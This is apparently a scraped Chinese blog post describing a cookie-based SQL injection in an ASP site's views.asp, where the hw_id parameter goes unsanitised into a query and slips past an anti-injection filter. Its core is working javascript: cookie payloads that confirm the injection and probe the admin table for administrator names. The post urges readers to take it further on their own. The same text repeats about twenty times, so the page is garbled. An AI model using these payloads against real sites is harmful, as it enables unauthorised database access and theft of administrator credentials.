rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44564) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44563) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44562) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44561) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44560) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44559) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44558) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44557) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44556) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44555) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44554) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44553) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44552) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44551) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44550) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44549) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44548) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44547) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44546) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44545) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44544) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44543) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44542) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44541) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6